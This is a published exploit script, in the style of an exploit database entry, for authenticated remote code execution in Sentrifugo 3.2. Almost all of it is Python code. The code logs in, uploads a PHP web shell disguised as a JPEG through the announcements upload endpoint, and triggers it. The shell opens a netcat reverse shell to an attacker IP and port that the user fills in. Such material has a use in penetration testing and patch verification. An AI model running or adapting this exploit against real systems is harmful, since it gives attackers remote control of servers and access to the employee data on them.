# Exploit Title: Sentrifugo Version 3.2 - 'announcements' Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020.10.06
# Exploit Author: Fatih Çelik
# Vendor Homepage: https://sourceforge.net/projects/sentrifugo/
# Software Link: https://sourceforge.net/projects/sentrifugo/
# Blog: https://fatihhcelik.blogspot.com/2020/10/sentrifugo-version-32-rce-authenticated.html
# Version: 3.2
# Tested on: Kali Linux 2020.2
# CVE : N/A
import requests
from bs4 import BeautifulSoup
from ast import literal_eval
'''
You should change the below hardcoded inputs to get a reverse shell.
'''
login_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/index/loginpopupsave"
upload_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/announcements/uploadsave"
call_shell = "http://XXX.XXX.XXX.XXX/sentrifugo/public/uploads/ca_temp/"
username = "xxx"
password = "xxx"
attacker_ip = "XXX.XXX.XXX.XXX"
listener_port = "4444"
# Set proxy for debugging purposes
proxy = {"http": "http://XXX.XXX.XXX.XXX:8080"}
# Log in to the system
session = requests.Session()
request = session.get(login_url)
body = {"username":username,"password":password}
# session.post(login_url, data=body, proxies=proxy)
session.post(login_url, data=body) # Send a request without proxy
print("Logged in to the application..")
# Upload the PHP shell
files = [
('myfile',
('shell.php',
'<?php system(\'nc.traditional {} {} -e /bin/bash\'); ?>'.format(attacker_ip,listener_port),
'image/jpeg')
)
]
# r = session.post(upload_url, files=files, proxies=proxy)
r = session.post(upload_url, files=files) # Send a request without proxy
response = r.content
dict_str = response.decode("UTF-8")
response = literal_eval(dict_str) # Convert bytes to dictionary
filename = response["filedata"]["new_name"]
url = call_shell + filename
print("PHP file is uploaded --> {}".format(url))
# Trigger the shell
session.get(url)
